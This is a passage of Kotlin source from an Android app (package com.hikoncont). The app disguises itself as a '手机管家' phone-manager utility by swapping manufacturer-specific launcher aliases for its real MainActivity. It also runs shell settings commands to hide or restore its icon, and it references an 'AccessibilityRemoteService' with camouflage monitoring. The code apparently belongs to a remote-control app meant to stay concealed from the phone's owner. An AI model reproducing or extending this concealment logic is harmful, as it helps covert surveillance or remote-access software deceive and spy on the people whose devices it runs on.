                deviceInfo.isXiaomi -> Pair("com.hikoncont.XiaomiAlias", "手机管家")
                else -> Pair("com.hikoncont.OppoAlias", "手机管家")
            }
            
            Log.i(TAG, "📱 设备检测: manufacturer=${deviceInfo.manufacturer}, brand=${deviceInfo.brand}")
            Log.i(TAG, "🎯 选择伪装方案: $targetAlias -> $targetLabel")
            
            // 2. 禁用所有alias和原始MainActivity
            val allComponents = listOf(
                "com.hikoncont.MainActivity",
                "com.hikoncont.SIMAlias", 
                "com.hikoncont.PhoneManagerAlias",
                "com.hikoncont.VivoIGuanjiaAlias",
                "com.hikoncont.OppoAlias",
                "com.hikoncont.HonorAlias",
                "com.hikoncont.XiaomiAlias",
//                "com.hikoncont.SettingsAlias"
            )
            
            allComponents.forEach { componentName ->
                try {
                    val component = ComponentName(context, componentName)
                    packageManager.setComponentEnabledSetting(
                        component,
                        PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                        PackageManager.DONT_KILL_APP
                    )
                        } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 禁用组件失败: $componentName, ${e.message}")
                        }
            }
            
            // 3. 启用目标alias (基于D:\kouch\app的优化策略)
            try {
                val targetComponent = ComponentName(context, targetAlias)
            packageManager.setComponentEnabledSetting(
                    targetComponent,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
                )

                // 🔍 华为/荣耀特殊处理：确保透明图标生效
                if (deviceInfo.isHuawei || deviceInfo.isHonor) {
                    Log.i(TAG, "🔍 华为/荣耀设备特殊处理: 确保透明图标和空标签生效")
                    // 额外验证组件状态
                    val componentState = packageManager.getComponentEnabledSetting(targetComponent)
                    Log.d(TAG, "📊 组件状态验证: $targetAlias = $componentState")
                }
                
                Log.i(TAG, "✅ 目标伪装alias已启用: $targetAlias")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 启用目标alias失败: $targetAlias", e)
                return HideResult(false, METHOD_SIM_CAMOUFLAGE, "启用伪装alias失败: ${e.message}")
            }


            // 华为/荣耀桌面缓存更激进，等待时间更长
            if (deviceInfo.isHuawei || deviceInfo.isHonor) {
                Thread.sleep(3000)
            } else {
                Thread.sleep(500)
            }
            
            HideResult(true, METHOD_SIM_CAMOUFLAGE, "多厂商静态伪装成功: $targetLabel")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 手机管家伪装方案异常", e)
            HideResult(false, METHOD_SIM_CAMOUFLAGE, "手机管家伪装异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 对应的显示方法
     */
    private fun showWithPackageManager(): HideResult {
        return try {
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            Thread.sleep(1000)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(success, METHOD_PACKAGE_MANAGER, if (success) "PackageManager显示成功" else "显示失败")
            
        } catch (e: Exception) {
            HideResult(false, METHOD_PACKAGE_MANAGER, "PackageManager显示异常: ${e.message}")
        }
    }
    
    // 显示方法的完整实现
    private fun showWithAlternativeAlias(): HideResult {
        return try {
            val packageManager = context.packageManager
            val componentNames = listOf(
                "com.hikoncont.MainActivity",
                "com.hikoncont.activity.MainActivity", 
                "${context.packageName}.MainActivity",
                "${context.packageName}.activity.MainActivity"
            )
            
            var successCount = 0
            
            for (componentName in componentNames) {
                try {
                    val component = ComponentName(context, componentName)
                    packageManager.setComponentEnabledSetting(
                        component,
                        PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                        PackageManager.DONT_KILL_APP
                    )
                    successCount++
                } catch (e: Exception) {
                    Log.w(TAG, "显示组件失败: $componentName", e)
                }
            }
            
            HideResult(successCount > 0, METHOD_ALTERNATIVE_ALIAS, "替代别名显示: 成功$successCount/${componentNames.size}")
            
        } catch (e: Exception) {
            HideResult(false, METHOD_ALTERNATIVE_ALIAS, "替代别名显示异常: ${e.message}")
        }
    }
    
    private fun showWithIntentFilter(): HideResult = 
        HideResult(false, METHOD_INTENT_FILTER, "Intent过滤器显示方案暂未实现")
    
    private fun showWithShellCommand(): HideResult = 
        HideResult(false, METHOD_SHELL_COMMAND, "Shell命令显示方案暂未实现")
    
    private fun showWithManufacturerSpecific(): HideResult {
        return when {
            deviceInfo.isHonor -> showWithHonorMethod()
            deviceInfo.isHuawei -> showWithHuaweiMethod()
            deviceInfo.isXiaomi -> showWithXiaomiMethod()
            deviceInfo.isOppo -> showWithOppoMethod()
            deviceInfo.isVivo -> showWithVivoMethod()
            deviceInfo.isSamsung -> showWithSamsungMethod()
            else -> HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "不支持的设备厂商: ${deviceInfo.manufacturer}")
        }
    }
    
    /**
     * 🔧 荣耀设备显示方法 - 恢复Magic UI桌面图标
     */
    private fun showWithHonorMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 荣耀设备显示方案 - 恢复Magic UI桌面图标")
            
            val packageManager = context.packageManager
            val packageName = context.packageName
            
            // 方法1: 尝试恢复荣耀Magic UI的系统级桌面图标显示
            val honorShowCommands = listOf(
                // 恢复荣耀Magic UI桌面图标显示
                "settings put secure hide_application_icon $packageName 0",
                "settings put global hide_application_icon $packageName 0",
                // 恢复荣耀桌面显示设置
                "settings put system honor_launcher_hide_icon $packageName 0",
                "settings put system magic_ui_hide_icon $packageName 0",
                // 启用组件
                "pm enable $packageName/$packageName.MainActivity"
            )
            
            var success = false
            var lastError = ""
            
            for (command in honorShowCommands) {
                try {
                    Log.d(TAG, "🔧 执行荣耀恢复命令: $command")
                    val result = executeShellCommand(command)
                    
                    if (result.isNotEmpty() && !result.contains("error", true) && 
                        !result.contains("permission denied", true)) {
                        Log.d(TAG, "✅ 荣耀恢复命令执行成功: $command")
                        success = true
                        break
                    } else {
                        lastError = result
                        Log.w(TAG, "⚠️ 荣耀恢复命令执行失败: $command, 结果: $result")
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 荣耀恢复命令异常: $command", e)
                    lastError = e.message ?: "未知错误"
                }
            }
            
            // 方法2: 使用标准PackageManager方法恢复
            Log.d(TAG, "🔄 使用标准方法恢复，使用荣耀特定参数")
            
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 荣耀设备恢复时使用特殊标志
            val honorFlags = PackageManager.DONT_KILL_APP or 0x00000400
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                honorFlags
            )
            
            // 等待Magic UI桌面刷新
            Thread.sleep(2500)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val finalSuccess = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                              newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(
                success = finalSuccess,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (finalSuccess) {
                    "荣耀Magic UI图标恢复成功，组件状态: $newState"
                } else {
                    "荣耀Magic UI图标恢复失败，组件状态: $newState，最后错误: $lastError"
                }
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 荣耀恢复方案异常", e)
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "荣耀恢复方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 华为设备显示方法
     */
    private fun showWithHuaweiMethod(): HideResult {
        return showWithSIMCamouflage()
    }
    
    /**
     * 🔧 小米设备显示方法
     */
    private fun showWithXiaomiMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 小米设备显示方案")
            
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            Thread.sleep(1500)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "小米MIUI恢复成功" else "小米MIUI恢复失败，状态: $newState"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "小米恢复方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 OPPO设备显示方法
     */
    private fun showWithOppoMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 OPPO设备显示方案")
            
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            Thread.sleep(800)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "OPPO ColorOS恢复成功" else "OPPO ColorOS恢复失败，状态: $newState"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "OPPO恢复方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 Vivo设备显示方法
     */
    private fun showWithVivoMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 Vivo设备显示方案")
            
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            Thread.sleep(1000)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "Vivo FuntouchOS恢复成功" else "Vivo FuntouchOS恢复失败，状态: $newState"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "Vivo恢复方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 三星设备显示方法
     */
    private fun showWithSamsungMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 三星设备显示方案")
            
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            
            Thread.sleep(1200)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                         newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "三星OneUI恢复成功" else "三星OneUI恢复失败，状态: $newState"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "三星恢复方案异常: ${e.message}")
        }
    }
    
    private fun showWithReflectionAPI(): HideResult = 
        HideResult(false, METHOD_REFLECTION_API, "反射API显示方案暂未实现")
    
    /**
     * 🎭 手机管家伪装恢复方案（优化版）
     */
    private fun showWithSIMCamouflage(): HideResult {
        return try {
            Log.i(TAG, "🎭 开始恢复多厂商伪装（显示原始图标）")
            
            val packageManager = context.packageManager
            
            // 1. 启用原始MainActivity图标
            val originalComponent = ComponentName(context, "com.hikoncont.MainActivity")
            packageManager.setComponentEnabledSetting(
                originalComponent,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )
            Log.d(TAG, "✅ 原始图标已启用")
            
            // 2. 禁用所有伪装alias和备用启动器
            val allCamouflageAliases = listOf(
                "com.hikoncont.PhoneManagerAlias",
                "com.hikoncont.VivoIGuanjiaAlias",
                "com.hikoncont.OppoAlias",
                "com.hikoncont.HonorAlias",
                "com.hikoncont.XiaomiAlias",
//                "com.hikoncont.SettingsAlias",
                "com.hikoncont.SIMAlias",
                "com.hikoncont.HuaweiBackupLauncherActivity"
            )
            
            allCamouflageAliases.forEach { aliasName ->
                try {
                    val component = ComponentName(context, aliasName)
            packageManager.setComponentEnabledSetting(
                        component,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
                    Log.d(TAG, "✅ 伪装alias已禁用: $aliasName")
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 禁用伪装alias失败: $aliasName, ${e.message}")
                }
            }
            
            // 3. 等待系统更新桌面图标
            Thread.sleep(1500)
            
            // 4. 验证恢复是否成功
            val originalEnabled = packageManager.getComponentEnabledSetting(originalComponent)
            val allAliasesDisabled = allCamouflageAliases.all { aliasName ->
                try {
                    val component = ComponentName(context, aliasName)
                    val enabled = packageManager.getComponentEnabledSetting(component)
                    enabled == PackageManager.COMPONENT_ENABLED_STATE_DISABLED
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
                    true // 假设已禁用
                }
            }
            
            val success = (originalEnabled == PackageManager.COMPONENT_ENABLED_STATE_ENABLED ||
                          originalEnabled == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT) &&
                         allAliasesDisabled
            
            if (success) {
                Log.i(TAG, "✅ 多厂商伪装已恢复：桌面将显示原始图标")
                
                // 禁用手机管家伪装监听
                try {
                    val accessibilityService = context as? com.hikoncont.service.AccessibilityRemoteService
                    accessibilityService?.getAccessibilityEventManager()?.disablePhoneManagerCamouflage()
                    Log.d(TAG, "✅ 伪装监听已禁用")
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 禁用伪装监听失败", e)
                }
                
                HideResult(
                    success = true,
                    method = METHOD_SIM_CAMOUFLAGE,
                    message = "多厂商伪装已恢复，桌面图标恢复为原始状态，监听已禁用"
                )
            } else {
                Log.w(TAG, "⚠️ 多厂商伪装恢复失败，组件状态异常")
                HideResult(
                    success = false,
                    method = METHOD_SIM_CAMOUFLAGE,
                    message = "多厂商伪装恢复失败，无法恢复组件状态"
                )
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 多厂商伪装恢复异常", e)
            HideResult(false, METHOD_SIM_CAMOUFLAGE, "多厂商伪装恢复异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 执行Shell命令工具方法
     */
    private fun executeShellCommand(command: String): String {
        return try {
            val process = Runtime.getRuntime().exec(command)
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            val output = reader.readText()
            val exitCode = process.waitFor()
            
            Log.d(TAG, "Shell命令: $command, 退出码: $exitCode, 输出: $output")
            output
            
        } catch (e: Exception) {
            Log.e(TAG, "Shell命令执行失败: $command", e)
            "Error: ${e.message}"
        }
    }
    
    /**
     * 📋 获取失败建议
     */
    private fun getFailureRecommendation(): String {
        return when {
            deviceInfo.isHuawei -> "华为设备建议：请检查应用管理权限设置"
            deviceInfo.isSamsung -> "三星设备建议：请尝试在开发者选项中启用USB调试"
            deviceInfo.sdkInt >= 30 -> "Android 11+设备建议：此功能可能受到系统安全限制"
            else -> "建议：请确保应用有足够的系统权限，或联系开发者获取设备特定的解决方案"
        }
    }
    
    /**
     * 📊 获取设备兼容性报告
     */
    fun getCompatibilityReport(): JSONObject {
        return JSONObject().apply {
            put("deviceInfo", JSONObject().apply {
                put("manufacturer", deviceInfo.manufacturer)
                put("brand", deviceInfo.brand)
                put("model", deviceInfo.model)
                put("sdkInt", deviceInfo.sdkInt)
                put("release", deviceInfo.release)
                put("romType", deviceInfo.getRomType())
                put("compatibilityLevel", deviceInfo.getCompatibilityLevel())
            })
            put("supportedMethods", getHideMethodPriority())
            put("recommendedMethod", getHideMethodPriority().firstOrNull() ?: "NONE")
            put("isAppHidden", isAppHidden)
            put("timestamp", System.currentTimeMillis())
        }
    }
    
    /**
     * 📱 获取当前应用隐藏状态
     */
    fun isAppCurrentlyHidden(): Boolean = isAppHidden
 
} 